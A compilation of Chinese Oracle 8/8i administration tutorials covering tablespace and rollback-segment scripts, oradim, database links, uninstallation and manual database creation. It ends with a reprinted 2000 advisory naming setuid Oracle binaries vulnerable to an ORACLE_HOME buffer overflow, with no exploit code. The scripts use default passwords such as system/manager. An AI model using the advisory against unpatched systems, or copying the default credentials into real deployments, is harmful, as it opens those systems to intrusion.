位置：首页→Oracle初学者入门→

安装Oracle后，经常使用的修改表空间的SQL代码

【点击：】 阿木伯 著
配置：
Windows NT 4.0 中文版
5块10.2GB SCSI硬盘
分：C:盘、D:盘、E:盘、F:盘、G:盘
Oracle 8.0.4 for Windows NT
NT安装在C:\WINNT，Oracle安装在C:\ORANT

目标：
因系统的回滚段太小，现打算生成新的回滚段，
建立大的、新的表空间（数据表空间、索引表空间、回滚表空间、临时表空间、）
建两个数据表空间、两个索引表空间，这样建的目的是根据实际应用，
如：现有10个应用用户，每个用户是一个独立子系统（如：商业进销存MIS系统中的财务、收款、库存、人事、总经理等）
尤其大型商场中收款机众多，同时访问进程很多，经常达到50-100个进程同时访问，
这样，通过建立多个用户表空间、索引表空间，把各个用户分别建在不同的表空间里（多个用户表空间放在不同的物理磁盘上），
减少了用户之间的I/O竞争、读写数据与写读索引的竞争（用户表空间、索引表空间也分别放在不同的物理磁盘上）

规划：
C:盘、NT系统，Oracle系统
D:盘、数据表空间1（3GB、自动扩展）、回滚表空间1（1GB、自动扩展）
E:盘、数据表空间2（3GB、自动扩展）、回滚表空间2（1GB、自动扩展）
F:盘、索引表空间1（2GB、自动扩展）、临时表空间1（0.5GB、不自动扩展）
G:盘、索引表空间2（2GB、自动扩展）、临时表空间2（0.5GB、不自动扩展）

注：这只是一个简单的规划，实际规划要依系统需求来定，尽量减少I/O竞争

实现：
1、首先查看系统有哪些回滚段及其状态。

SQL> col owner format a20
SQL> col status format a10
SQL> col segment_name format a20
SQL> col tablespace_name format a20

SQL> SELECT OWNER,SEGMENT_NAME,TABLESPACE_NAME,SUM(BYTES)/1024/1024 M
  2  FROM DBA_SEGMENTS
  3  WHERE SEGMENT_TYPE='ROLLBACK'
  4  GROUP BY OWNER,SEGMENT_NAME,TABLESPACE_NAME
  5  /

OWNER                SEGMENT_NAME         TABLESPACE_NAME              M
-------------------- -------------------- -------------------- ---------
SYS                  RB1                  ROLLBACK_DATA        .09765625
SYS                  RB10                 ROLLBACK_DATA        .09765625
SYS                  RB11                 ROLLBACK_DATA        .09765625
SYS                  RB12                 ROLLBACK_DATA        .09765625
SYS                  RB13                 ROLLBACK_DATA        .09765625
SYS                  RB14                 ROLLBACK_DATA        .09765625
SYS                  RB15                 ROLLBACK_DATA        .09765625
SYS                  RB16                 ROLLBACK_DATA        .09765625
SYS                  RB2                  ROLLBACK_DATA        .09765625
SYS                  RB3                  ROLLBACK_DATA        .09765625
SYS                  RB4                  ROLLBACK_DATA        .09765625
SYS                  RB5                  ROLLBACK_DATA        .09765625
SYS                  RB6                  ROLLBACK_DATA        .09765625
SYS                  RB7                  ROLLBACK_DATA        .09765625
SYS                  RB8                  ROLLBACK_DATA        .09765625
SYS                  RB9                  ROLLBACK_DATA        .09765625
SYS                  RB_TEMP              SYSTEM               .24414063
SYS                  SYSTEM               SYSTEM                .1953125

查询到18记录.

SQL> SELECT SEGMENT_NAME,OWNER,
  2         TABLESPACE_NAME,SEGMENT_ID,FILE_ID,STATUS
  3         FROM DBA_ROLLBACK_SEGS
  4  /

SEGMENT_NAME         OWNER                TABLESPACE_NAME      SEGMENT_ID   FILE_ID STATUS
-------------------- -------------------- -------------------- ---------- --------- ----------
SYSTEM               SYS                  SYSTEM                        0         1 ONLINE
RB_TEMP              SYS                  SYSTEM                        1         1 OFFLINE
RB1                  PUBLIC               ROLLBACK_DATA                 2         3 ONLINE
RB2                  PUBLIC               ROLLBACK_DATA                 3         3 ONLINE
RB3                  PUBLIC               ROLLBACK_DATA                 4         3 ONLINE
RB4                  PUBLIC               ROLLBACK_DATA                 5         3 ONLINE
RB5                  PUBLIC               ROLLBACK_DATA                 6         3 ONLINE
RB6                  PUBLIC               ROLLBACK_DATA                 7         3 OFFLINE
RB7                  PUBLIC               ROLLBACK_DATA                 8         3 OFFLINE
RB8                  PUBLIC               ROLLBACK_DATA                 9         3 OFFLINE
RB9                  PUBLIC               ROLLBACK_DATA                10         3 OFFLINE
RB10                 PUBLIC               ROLLBACK_DATA                11         3 OFFLINE
RB11                 PUBLIC               ROLLBACK_DATA                12         3 OFFLINE
RB12                 PUBLIC               ROLLBACK_DATA                13         3 OFFLINE
RB13                 PUBLIC               ROLLBACK_DATA                14         3 OFFLINE
RB14                 PUBLIC               ROLLBACK_DATA                15         3 OFFLINE
RB15                 PUBLIC               ROLLBACK_DATA                16         3 OFFLINE
RB16                 PUBLIC               ROLLBACK_DATA                17         3 OFFLINE

查询到18记录.

2、修改代码如下，可把以下代码存入一.sql文件，如cg_sys.sql，然后以SQL> @cg_sys.sql调用执行。

--注意：各个硬盘上要事先建好oradata目录

--修改现有回滚段，使之失效，下线
alter rollback segment rb1 offline;
alter rollback segment rb2 offline;
alter rollback segment rb3 offline;
alter rollback segment rb4 offline;
alter rollback segment rb5 offline;
alter rollback segment rb6 offline;
alter rollback segment rb7 offline;
alter rollback segment rb8 offline;
alter rollback segment rb9 offline;
alter rollback segment rb10 offline;
alter rollback segment rb11 offline;
alter rollback segment rb12 offline;
alter rollback segment rb13 offline;
alter rollback segment rb14 offline;
alter rollback segment rb15 offline;
alter rollback segment rb16 offline;

--删除原有回滚段
drop rollback segment rb1;
drop rollback segment rb2;
drop rollback segment rb3;
drop rollback segment rb4;
drop rollback segment rb5;
drop rollback segment rb6;
drop rollback segment rb7;
drop rollback segment rb8;
drop rollback segment rb9;
drop rollback segment rb10;
drop rollback segment rb11;
drop rollback segment rb12;
drop rollback segment rb13;
drop rollback segment rb14;
drop rollback segment rb15;
drop rollback segment rb16;

--建数据表空间1
--收款、库存、订货、远程通信
create tablespace USER_DATA1 datafile
'd:\oradata\user1_1.ora' size 512M,
'd:\oradata\user1_2.ora' size 512M,
'd:\oradata\user1_3.ora' size 512M,
'd:\oradata\user1_4.ora' size 512M,
'd:\oradata\user1_5.ora' size 512M,
'd:\oradata\user1_6.ora' size 512M
AUTOEXTEND ON NEXT 5M MAXSIZE UNLIMITED
default storage (initial 128K next 2M pctincrease 0);
--initial 128K，因为，用户建在表空间上，而表建在用户里，为用户所拥有，
--用户继承数据表空间的存储参数，表继承用户的存储参数
--如果initial设的过大，如：5M，则每建一个空表就要占用5M的空间，即使一条记录也没有
--AUTOEXTEND ON NEXT 5M MAXSIZE UNLIMITED，设置数据文件自动扩展，每一次扩展增加5M，最大空间不受限

--建数据表空间2
--物价、人事、结算、财务、总经理、合同、统计
create tablespace USER_DATA2 datafile
'e:\oradata\user2_1.ora' size 512M,
'e:\oradata\user2_2.ora' size 512M,
'e:\oradata\user2_3.ora' size 512M,
'e:\oradata\user2_4.ora' size 512M,
'e:\oradata\user2_5.ora' size 512M,
'e:\oradata\user2_6.ora' size 512M
AUTOEXTEND ON NEXT 5M MAXSIZE UNLIMITED
default storage (initial 128K next 2M pctincrease 0);

--建索引表空间1
create tablespace INDEX_DATA1 datafile
'f:\oradata\index1_1.ora' size 512M,
'f:\oradata\index1_2.ora' size 512M,
'f:\oradata\index1_3.ora' size 512M,
'f:\oradata\index1_4.ora' size 512M
AUTOEXTEND ON NEXT 5M MAXSIZE UNLIMITED
default storage (initial 128K next 2M pctincrease 0);

--建索引表空间2
create tablespace INDEX_DATA2 datafile
'g:\oradata\index2_1.ora' size 512M,
'g:\oradata\index2_2.ora' size 512M,
'g:\oradata\index2_3.ora' size 512M,
'g:\oradata\index2_4.ora' size 512M
AUTOEXTEND ON NEXT 5M MAXSIZE UNLIMITED
default storage (initial 128K next 2M pctincrease 0);

--建回滚表空间1
--设置初始值40M（initial 40M），则每在这个表空间中建一个回滚段，
--此回滚段自动继承此回滚表空间的存储参数，也即默认文件为40M
create tablespace ROLLBACK_DATA1 datafile
'd:\oradata\roll1_1.ora' size 512M，
'd:\oradata\roll1_2.ora' size 512M
AUTOEXTEND ON NEXT 5M MAXSIZE UNLIMITED
default storage (initial 40M next 5M pctincrease 0);

--建回滚表空间2
create tablespace ROLLBACK_DATA2 datafile
'e:\oradata\roll2_1.ora' size 512M,
'e:\oradata\roll2_2.ora' size 512M
AUTOEXTEND ON NEXT 5M MAXSIZE UNLIMITED
default storage (initial 40M next 5M pctincrease 0);

--建临时表空间1
create tablespace TEMPORARY_DATA1 datafile
'f:\oradata\temp1_1.ora' size 512M
default storage (initial 10M next 3M pctincrease 0);

--建临时表空间2
create tablespace TEMPORARY_DATA2 datafile
'g:\oradata\temp2_1.ora' size 512M
default storage (initial 10M next 3M pctincrease 0);

--使其真正成为临时的
alter tablespace TEMPORARY_DATA1 temporary;
alter tablespace TEMPORARY_DATA2 temporary;

--建立新的回滚段，每个都一样大，不同大小的回滚段没有什么意义，系统是随机选择的。
--建多少个，根据并发访问用户的多少，
--如果你们公司每天有50-100个人员使用Oracle系统开发的管理软件，应该20个以上

create public rollback segment rb01 tablespace rollback_data1;
create public rollback segment rb02 tablespace rollback_data1;
create public rollback segment rb03 tablespace rollback_data1;
create public rollback segment rb04 tablespace rollback_data1;
create public rollback segment rb05 tablespace rollback_data1;
create public rollback segment rb06 tablespace rollback_data1;
create public rollback segment rb07 tablespace rollback_data1;
create public rollback segment rb08 tablespace rollback_data1;
create public rollback segment rb09 tablespace rollback_data2;
create public rollback segment rb10 tablespace rollback_data2;
--前8个建在回滚表空间1中，后8个在回滚表空间2
create public rollback segment rb11 tablespace rollback_data2;
create public rollback segment rb12 tablespace rollback_data2;
create public rollback segment rb13 tablespace rollback_data2;
create public rollback segment rb14 tablespace rollback_data2;
create public rollback segment rb15 tablespace rollback_data2;
create public rollback segment rb16 tablespace rollback_data2;
create public rollback segment rb17 tablespace rollback_data2;
create public rollback segment rb18 tablespace rollback_data2;
create public rollback segment rb19 tablespace rollback_data2;
create public rollback segment rb20 tablespace rollback_data2;

--使回滚段online，即有效
alter rollback segment rb01 online;
alter rollback segment rb02 online;
alter rollback segment rb03 online;
alter rollback segment rb04 online;
alter rollback segment rb05 online;
alter rollback segment rb06 online;
alter rollback segment rb07 online;
alter rollback segment rb08 online;
alter rollback segment rb09 online;
alter rollback segment rb10 online;
alter rollback segment rb11 online;
alter rollback segment rb12 online;
alter rollback segment rb13 online;
alter rollback segment rb14 online;
alter rollback segment rb15 online;
alter rollback segment rb16 online;
alter rollback segment rb17 online;
alter rollback segment rb18 online;
alter rollback segment rb19 online;
alter rollback segment rb20 online;

--查看现有回滚段及其状态
col segment format a30
SELECT SEGMENT_NAME,OWNER,TABLESPACE_NAME,SEGMENT_ID,FILE_ID,STATUS FROM DBA_ROLLBACK_SEGS;

--查看数据文件及其所在表空间、大小、状态
col file_name format a40
col tablespace_name format a20
select file_name,file_id,tablespace_name,bytes,status from dba_data_files;

至此，表空间重新规划完毕，这里讲的比较通俗，还有好多参数值得设置，能够把Oracle设置到最优的境界，
表空间设置完了，下面，就该好好的整理一下Oracle的内存区了，
Oracle很有意思，内存越大，效果越明显，所以有必要好好调整一下SGA区，也就是主要配置ininorcl.ora参数文件。

...代续...

转载请注明出处，谢谢　　　　　　　　Oracle技术网http://www.oradb.net/


Oracle技术网—Oradim工具的用法

位置：首页→Oracle安装、删除→

【点击：】 阿木伯 著
Oradim工具的用法

  • 软件环境：
      1、数据库：Oracle 8i R3 (8.1.7) for NT 企业版
  • 实现方法：
      Oradim工具的用法？
创建例程：
-NEW -SID sid | -SRVC 服务 [-INTPWD 口令] [-MAXUSERS 数量] [-STARTMODE a|m] [-PFILE 文件] [-TIMEOUT 秒]

编辑例程：
-EDIT -SID sid [-NEWSID sid] [-INTPWD 口令] [-STARTMODE auto|manual] [-PFILE 文件名] [-SHUTMODE a|i|n]
 [-SHUTTYPE srvc|inst|srvc,inst] [-TIMEOUT 秒]

删除例程：
-DELETE -SID sid | -SRVC 服务名称

启动服务和例程：
-STARTUP -SID sid [-USRPWD 口令] [-STARTTYPE srvc|inst|srvc,inst] [-PFILE 文件名]

关闭服务和例程：
-SHUTDOWN -SID sid [-USRPWD 口令] [-SHUTTYPE srvc|inst|srvc,inst] [-SHUTMODE a | i | n]

查询帮助：
-? | -h | -help

      -SID sid

      指定要启动的实例名称

      -SRVC 服务

      指定要启动的服务名称

      -USRPWD 口令

      指定内部用户的口令，如果作为NT管理员登录，不用此参数

      -PFILE 文件名

      为实例指明初始化参数文件，如果参数文件在Oracle的默认位置，则不需要此命令

      -STARTTYPE srvc|inst|srvc,inst

      表示要启动什么
      srvc————只启动服务
      inst————启动实例，服务必须已经启动并开始工作了
      srvc,inst —服务和实例都启动

      -SHUTTYPE srvc|inst|srvc,inst

      表示要终止什么，参数选项同上

      -STARTMODE a|m

      表示启动实例所使用的模式
      a————auto方式（自动）
      m————manual方式（手动）

      -SHUTMODE a|i|n

      表示终止实例所使用的关闭模式
      a————abort方式
      i————immediate方式
      n————normal方式

例子：
在服务里生成一个新的实例管理服务，启动方式为手工
oradim -NEW -SID test -STARTMODE manual -PFILE "D:\Oracle\admin\test\pfile\inittest.ora
oradim -NEW -SRVC OracleServicetest -STARTMODE manual -PFILE "D:\Oracle\admin\test\pfile\inittest.ora

注：有效的服务名为 “OracleService” 后跟“ SID”
-SID test 与 -SRVC OracleServicetest 等价

删除此实例或服务
oradim -DELETE -SID test

oradim -DELETE -SRVC OracleServicetest

编辑此实例，启动方式改为手动
oradim -EDIT -SID test -STARTMODE manual

编辑此实例，启动方式改为自动
oradim -EDIT -SID test -STARTMODE auto

启动test

oradim -STARTUP -SID test

oradim -STARTUP -SID test -STARTTYPE srvc,inst

只启动test服务

oradim -STARTUP -SID test -STARTTYPE srvc

只启动test实例

oradim -STARTUP -SID test -STARTTYPE inst

关闭test

oradim -SHUTDOWN -SID test

oradim -SHUTDOWN -SID test -SHUTTYPE srvc,inst


Oracle技术网—WINDOWS NT上，如何删除ORACLE SERVICE

位置：首页→Oracle安装、删除→

WINDOWS NT上，如何删除ORACLE SERVICE？

  • 软件环境：
      1、Windows NT4.0+ORACLE 8.0.4
      2、ORACLE安装路径为：C:\ORANT
  • 实现方法：
      1. 运行regedit

      2. 选择HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services

      3. 选中需要删除的SERVICE，将其删除


Oracle技术网—如何连接两台Oracle服务器

位置：首页→Oracle安装、删除→

【点击：】 阿木伯 著
如何连接两台Oracle服务器（服务器A、服务器B，均装有NT）？

  • 软件环境：
      1、Windows NT4.0+ORACLE 8.0.4
      2、ORACLE安装路径为：C:\ORANT
      3、服务器A、服务器B，均装有NT 4.0中文版
  • 实现方法：
      1. 假设A地址192.1.1.1，B地址192.1.1.2

      2. A、B上配置好TCP/IP，互相Ping通。

      3. 配置init.ora文件，若global_name = true的话，database link 的名字必须同远程机的实例名相同，

         为简便起见，请将global_name 设为 false。

      4. 在服务器上配置tnsnames.ora，将Remote机器的地址(IP)信息加入本地的tnsnames.ora

         A服务器：
          TNSA_B =
            (DESCRIPTION =
              (ADDRESS_LIST =
                  (ADDRESS =
                    (COMMUNITY = tcp.world)
                    (PROTOCOL = TCP)
                    (Host = 192.1.1.2)
                    (Port = 1521)
                  )
              )
              (CONNECT_DATA = (SID = ORCL)
              )
            )

         B服务器：
          TNSB_A =
            (DESCRIPTION =
              (ADDRESS_LIST =
                  (ADDRESS =
                    (COMMUNITY = tcp.world)
                    (PROTOCOL = TCP)
                    (Host = 192.1.1.1)
                    (Port = 1521)
                  )
              )
              (CONNECT_DATA = (SID = ORCL)
              )
            )

      5. 在 SQL*Plus 或其它工具中创建数据库链接

         A服务器：create public database link A_TO_B connect to tmp identified by tmp using 'TNSA_B';

         B服务器：create public database link B_TO_A connect to tmp identified by tmp using 'TNSB_A';

         说明：
         tmp是一个临时用户，A服务器、B服务器上均有，它的作用是提供链接的目的地，
         假如：
         B服务器上有user1、user2、tmp三个用户，user1和user2把他们想要对外公开的表的权限授给tmp用户，
         那么，所有能通过database link连接到tmp用户上的人就可以直接访问user1、user2上的已授权表了。

      6. 建立database link以后，请用这种格式select * from table_name@database_link_name 的方式访问

         如：在A服务器上想访问B服务器上user1用户table1表的内容（A到B的连接为A_TO_B），则

         SQL> select * from table1@A_TO_B;

      7. 如果Oracle版本为7.3，则数据库联接写法如下：

         A服务器：create public database link A_TO_B connect to tmp identified by tmp using 't:192.1.1.2:orcl';

         B服务器：create public database link B_TO_A connect to tmp identified by tmp using 't:192.1.1.1:orcl';

         转载请注明出处，谢谢　　　　　　　　Oracle技术网http://www.oradb.net/


Oracle技术网—如何在Windows 2000下将Oracle完全卸载

位置：首页→Oracle安装、删除→

【点击：】 阿木伯 著
如何在Windows 2000下将Oracle完全卸载？

  • 系统环境：
      1、操作系统：Windows 2000 Server，机器内存128M
      2、数据库：　Oracle 8i R2 (8.1.6) for NT 企业版
      3、安装路径：D:\ORACLE
  • 卸载步骤：
    1、开始－＞设置－＞控制面板－＞管理工具－＞服务
   停止所有Oracle服务。

2、开始－＞程序－＞Oracle - OraHome81－＞Oracle Installation Products－＞Universal Installer
   卸装所有Oracle产品

3、运行regedit，选择HKEY_LOCAL_MACHINE\SOFTWARE\ORACLE，按del键删除这个入口。

4、运行regedit，选择HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services，滚动这个列表，删除所有Oracle入口

5、从桌面上、STARTUP（启动）组、程序菜单中，删除所有有关Oracle的组和图标

6、重新启动计算机，重起后才能完全删除Oracle所在目录

7、删除与Oracle有关的文件，选择Oracle所在的缺省目录C:\Oracle，删除这个入口目录及所有子目录，

   并从Windows 2000目录（一般为C:\WINNT）下删除以下文件

   ORACLE.INI、oradim80.INI

8、WIN.INI文件中若有[ORACLE]的标记段，删除该段


Oracle技术网—如何在WINDOWS NT上删除所有的Oracle安装？

位置：首页→Oracle安装、删除→

如何在WINDOWS NT上删除所有的Oracle安装？

  • 软件环境：
      1、Windows NT4.0+ORACLE 8.0.4
      2、ORACLE安装路径为：C:\ORANT
  • 实现方法：
      1. 用Control Panel（控制面板）中的Services应用程序停止所有ORACLE服务。

      2. 运行regedit，选择HKEY_LOCAL_MACHINE\SOFTWARE\ORACLE，按del键删除这个入口。

      3. 选择HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services，滚动这个列表，并删除所有ORACLE入口

      4. 从桌面上、STARTUP组中删除所有有关ORACLE的组和图标

      5. 删除与ORACLE有关的文件，选择ORACLE所在的缺省目录c:\orant，删除这个入口目录及所有子目录，

         并从WINDOWS NT目录（一般为c:\winnt）下删除以下文件

         ORACLE.INI ORADIM80.INI

      6. WIN.INI文件中若有[ORACLE]的标记段，删除该段


Oracle技术网—手工安装数据库时需要安装那些系统包

位置：首页→Oracle安装、删除→

【点击：】 阿木伯 著
手工安装数据库时需要安装那些系统包？

  • 软件环境：
      1、Windows NT4.0+ORACLE 8.0.4
      2、ORACLE安装路径为：C:\ORANT
  • 错误现象：
      如果你在新建一个数据库之后，登录时出现以下信息：
      product user profile does not exist（用户文件不存在），并有一个提示你要运行pupbld.sql
  • 解释：
      当用户试图用SQL*Plus或一个早期的产品来连接数据库时，Oracle将检查一个叫PRODUCT_USER_PROFILE的表
      来决定用户是否有权限来执行他所要求的命令，如果Oracle检查这个表不存在，就会发出以上警告。
      以system用户执行以下文件即可解决

      c:\orant\dbs\pupbld.sql

      c:\orant\RDBMS80\admin\catdbsyn.sql（以SYSTEM连接）
      创建DBA私有同义词（数据字典视图）


Oracle技术网—手工创建数据库的全部脚本及说明

位置：首页→Oracle安装、删除→

【点击：】 阿木伯 著
手工创建数据库的全部脚本及说明

  • 系统环境：
      1、操作系统：Windows 2000 Server，机器内存128M
      2、数据库：　Oracle 8i R2 (8.1.6) for NT 企业版
      3、安装路径：D:\ORACLE
  • 建库步骤：
    1、手工创建相关目录
D:\Oracle\admin\test
D:\Oracle\admin\test\adhoc
D:\Oracle\admin\test\bdump
D:\Oracle\admin\test\cdump
D:\Oracle\admin\test\create
D:\Oracle\admin\test\exp
D:\Oracle\admin\test\pfile
D:\Oracle\admin\test\udump

D:\Oracle\oradata\test
D:\Oracle\oradata\test\archive

2、手工创建初始化启动参数文件：D:\Oracle\admin\test\pfile\inittest.ora，内容：

3、手工创建D:\Oracle\Ora81\DATABASE\inittest.ora文件，

   内容：IFILE='D:\Oracle\admin\test\pfile\inittest.ora'

4、使用orapwd.exe命令，创建D:\Oracle\Ora81\DATABASE\PWDtest.ora

   命令：D:\Oracle\Ora81\bin\orapwd file=D:\Oracle\Ora81\DATABASE\PWDtest.ora password=ORACLE entries=5

5、通过oradim.exe命令，在服务里生成一个新的实例管理服务，启动方式为手工
   set ORACLE_SID=test
   D:\Oracle\Ora81\bin\oradim -new -sid test -startmode manual -pfile "D:\Oracle\admin\test\pfile\inittest.ora"

6、生成各种数据库对象
D:\>svrmgrl

--创建数据库
connect INTERNAL/oracle
startup nomount pfile="D:\Oracle\admin\test\pfile\inittest.ora"
CREATE DATABASE test
LOGFILE 'D:\Oracle\oradata\test\redo01.log' SIZE 2048K,
    'D:\Oracle\oradata\test\redo02.log' SIZE 2048K,
    'D:\Oracle\oradata\test\redo03.log' SIZE 2048K
MAXLOGFILES 32
MAXLOGMEMBERS 2
MAXLOGHISTORY 1
DATAFILE 'D:\Oracle\oradata\test\system01.dbf' SIZE 58M  REUSE AUTOEXTEND ON NEXT 640K
MAXDATAFILES 254
MAXINSTANCES 1
CHARACTER SET ZHS16GBK
NATIONAL CHARACTER SET ZHS16GBK;

控制文件、日志文件在上面语句执行时生成

connect INTERNAL/oracle
--修改系统表空间
ALTER TABLESPACE SYSTEM DEFAULT STORAGE ( INITIAL 64K NEXT 64K MINEXTENTS 1 MAXEXTENTS UNLIMITED PCTINCREASE 50);
ALTER TABLESPACE SYSTEM MINIMUM EXTENT 64K;

--创建回滚表空间
CREATE TABLESPACE RBS DATAFILE 'D:\Oracle\oradata\test\rbs01.dbf' SIZE 256M REUSE
    AUTOEXTEND ON NEXT 5120K
    MINIMUM EXTENT 512K
    DEFAULT STORAGE ( INITIAL 512K NEXT 512K MINEXTENTS 8 MAXEXTENTS 4096);

--创建用户表空间
CREATE TABLESPACE USERS DATAFILE 'D:\Oracle\oradata\test\users01.dbf' SIZE 128M REUSE
    AUTOEXTEND ON NEXT 1280K
    MINIMUM EXTENT 128K
    DEFAULT STORAGE ( INITIAL 128K NEXT 128K MINEXTENTS 1 MAXEXTENTS 4096 PCTINCREASE 0);

--创建临时表空间
CREATE TABLESPACE TEMP DATAFILE 'D:\Oracle\oradata\test\temp01.dbf' SIZE 32M REUSE
    AUTOEXTEND ON NEXT 640K
    MINIMUM EXTENT 64K
    DEFAULT STORAGE ( INITIAL 64K NEXT 64K MINEXTENTS 1 MAXEXTENTS UNLIMITED PCTINCREASE 0) TEMPORARY;

--创建工具表空间
CREATE TABLESPACE TOOLS DATAFILE 'D:\Oracle\oradata\test\tools01.dbf' SIZE 64M REUSE
    AUTOEXTEND ON NEXT 320K
    MINIMUM EXTENT 32K
    DEFAULT STORAGE ( INITIAL 32K NEXT 32K MINEXTENTS 1 MAXEXTENTS 4096 PCTINCREASE 0);

--创建索引表空间
CREATE TABLESPACE INDX DATAFILE 'D:\Oracle\oradata\test\indx01.dbf' SIZE 32M REUSE
    AUTOEXTEND ON NEXT 1280K
    MINIMUM EXTENT 128K
    DEFAULT STORAGE ( INITIAL 128K NEXT 128K MINEXTENTS 1 MAXEXTENTS 4096 PCTINCREASE 0);

--创建回滚段
CREATE PUBLIC ROLLBACK SEGMENT RBS0 TABLESPACE RBS STORAGE ( OPTIMAL 4096K );
CREATE PUBLIC ROLLBACK SEGMENT RBS1 TABLESPACE RBS STORAGE ( OPTIMAL 4096K );
CREATE PUBLIC ROLLBACK SEGMENT RBS2 TABLESPACE RBS STORAGE ( OPTIMAL 4096K );
CREATE PUBLIC ROLLBACK SEGMENT RBS3 TABLESPACE RBS STORAGE ( OPTIMAL 4096K );
CREATE PUBLIC ROLLBACK SEGMENT RBS4 TABLESPACE RBS STORAGE ( OPTIMAL 4096K );
CREATE PUBLIC ROLLBACK SEGMENT RBS5 TABLESPACE RBS STORAGE ( OPTIMAL 4096K );
CREATE PUBLIC ROLLBACK SEGMENT RBS6 TABLESPACE RBS STORAGE ( OPTIMAL 4096K );
CREATE PUBLIC ROLLBACK SEGMENT RBS7 TABLESPACE RBS STORAGE ( OPTIMAL 4096K );
CREATE PUBLIC ROLLBACK SEGMENT RBS8 TABLESPACE RBS STORAGE ( OPTIMAL 4096K );
CREATE PUBLIC ROLLBACK SEGMENT RBS9 TABLESPACE RBS STORAGE ( OPTIMAL 4096K );
CREATE PUBLIC ROLLBACK SEGMENT RBS10 TABLESPACE RBS STORAGE ( OPTIMAL 4096K );
CREATE PUBLIC ROLLBACK SEGMENT RBS11 TABLESPACE RBS STORAGE ( OPTIMAL 4096K );
CREATE PUBLIC ROLLBACK SEGMENT RBS12 TABLESPACE RBS STORAGE ( OPTIMAL 4096K );
CREATE PUBLIC ROLLBACK SEGMENT RBS13 TABLESPACE RBS STORAGE ( OPTIMAL 4096K );
CREATE PUBLIC ROLLBACK SEGMENT RBS14 TABLESPACE RBS STORAGE ( OPTIMAL 4096K );
CREATE PUBLIC ROLLBACK SEGMENT RBS15 TABLESPACE RBS STORAGE ( OPTIMAL 4096K );
CREATE PUBLIC ROLLBACK SEGMENT RBS16 TABLESPACE RBS STORAGE ( OPTIMAL 4096K );
CREATE PUBLIC ROLLBACK SEGMENT RBS17 TABLESPACE RBS STORAGE ( OPTIMAL 4096K );
CREATE PUBLIC ROLLBACK SEGMENT RBS18 TABLESPACE RBS STORAGE ( OPTIMAL 4096K );
CREATE PUBLIC ROLLBACK SEGMENT RBS19 TABLESPACE RBS STORAGE ( OPTIMAL 4096K );
CREATE PUBLIC ROLLBACK SEGMENT RBS20 TABLESPACE RBS STORAGE ( OPTIMAL 4096K );
CREATE PUBLIC ROLLBACK SEGMENT RBS21 TABLESPACE RBS STORAGE ( OPTIMAL 4096K );
CREATE PUBLIC ROLLBACK SEGMENT RBS22 TABLESPACE RBS STORAGE ( OPTIMAL 4096K );
CREATE PUBLIC ROLLBACK SEGMENT RBS23 TABLESPACE RBS STORAGE ( OPTIMAL 4096K );
CREATE PUBLIC ROLLBACK SEGMENT RBS24 TABLESPACE RBS STORAGE ( OPTIMAL 4096K );

--使回滚段在线
ALTER ROLLBACK SEGMENT "RBS0" ONLINE;
ALTER ROLLBACK SEGMENT "RBS1" ONLINE;
ALTER ROLLBACK SEGMENT "RBS2" ONLINE;
ALTER ROLLBACK SEGMENT "RBS3" ONLINE;
ALTER ROLLBACK SEGMENT "RBS4" ONLINE;
ALTER ROLLBACK SEGMENT "RBS5" ONLINE;
ALTER ROLLBACK SEGMENT "RBS6" ONLINE;
ALTER ROLLBACK SEGMENT "RBS7" ONLINE;
ALTER ROLLBACK SEGMENT "RBS8" ONLINE;
ALTER ROLLBACK SEGMENT "RBS9" ONLINE;
ALTER ROLLBACK SEGMENT "RBS10" ONLINE;
ALTER ROLLBACK SEGMENT "RBS11" ONLINE;
ALTER ROLLBACK SEGMENT "RBS12" ONLINE;
ALTER ROLLBACK SEGMENT "RBS13" ONLINE;
ALTER ROLLBACK SEGMENT "RBS14" ONLINE;
ALTER ROLLBACK SEGMENT "RBS15" ONLINE;
ALTER ROLLBACK SEGMENT "RBS16" ONLINE;
ALTER ROLLBACK SEGMENT "RBS17" ONLINE;
ALTER ROLLBACK SEGMENT "RBS18" ONLINE;
ALTER ROLLBACK SEGMENT "RBS19" ONLINE;
ALTER ROLLBACK SEGMENT "RBS20" ONLINE;
ALTER ROLLBACK SEGMENT "RBS21" ONLINE;
ALTER ROLLBACK SEGMENT "RBS22" ONLINE;
ALTER ROLLBACK SEGMENT "RBS23" ONLINE;
ALTER ROLLBACK SEGMENT "RBS24" ONLINE;

--修改sys用户的临时表空间为TEMP
alter user sys temporary tablespace TEMP;

--创建数据字典表
@D:\Oracle\Ora81\Rdbms\admin\catalog.sql;
@D:\Oracle\Ora81\Rdbms\admin\catexp7.sql
@D:\Oracle\Ora81\Rdbms\admin\catproc.sql
@D:\Oracle\Ora81\Rdbms\admin\caths.sql

connect system/manager
@D:\Oracle\Ora81\sqlplus\admin\pupbld.sql

connect internal/oracle
@D:\Oracle\Ora81\Rdbms\admin\catrep.sql
exit

--生成SQL*Plus帮助系统
sqlplus SYSTEM/manager
@D:\Oracle\Ora81\sqlplus\admin\help\helpbld.sql helpus.sql
exit

--修改system用户默认表空间和临时表空间
svrmgrl
connect internal/oracle
alter user system default tablespace TOOLS;
alter user system temporary tablespace TEMP;
exit

7、将test实例启动服务设置成自动启动方式
D:\Oracle\Ora81\bin\oradim -edit -sid test -startmode auto


Oracle技术网—Linux ORACLE 8.1.5漏洞

Linux ORACLE 8.1.5漏洞
来源：中国网络安全响应中心

【发布日期】
2000-10-23

【来源】
BUGTRAQ@SECURITYFOCUS.COM，2000-10-21

【影响的系统】
LINUX，测试于RedHat Linux 6.2。

【详细描述】
在Oracle中有两个安全漏洞。

1、缓冲区溢出
有可能用"ORACLE_HOME"，Oracle的一个环境变量，创建一个缓冲区溢出漏洞。
容易受缓冲区溢出影响的Oracle应用程序如下：
- names
- namesctl
- onrsd
- osslogin
- tnslsnr
- tnsping
- trcasst
- trcroute
这些应用程序允许攻击者执行缓冲区溢出攻击。

2、创建的日志文件
当用户执行一个Oracle应用程序，如names，oracle或tnslsnr时，就会创建下面
的日志文件：

names
======
-rw-rw-r--   1 oracle   dba             0 Oct 20 01:45 ckpcch.ora
-rw-rw-r--   1 oracle   dba           428 Oct 20 01:45 ckpreg.ora
-rw-rw-r--   1 oracle   dba           950 Oct 20 01:45 names.log

oracle
======
-rw-rw----   1 oracle   dba           616 Oct 20 05:14 ora_[running pid].trc

tnslsnr
=======
-rw-rw-r--   1 oracle   dba       2182176 Oct 20  2000 listener.log

【解决方法】
联系产商索取补丁，或者关闭setuid许可权。

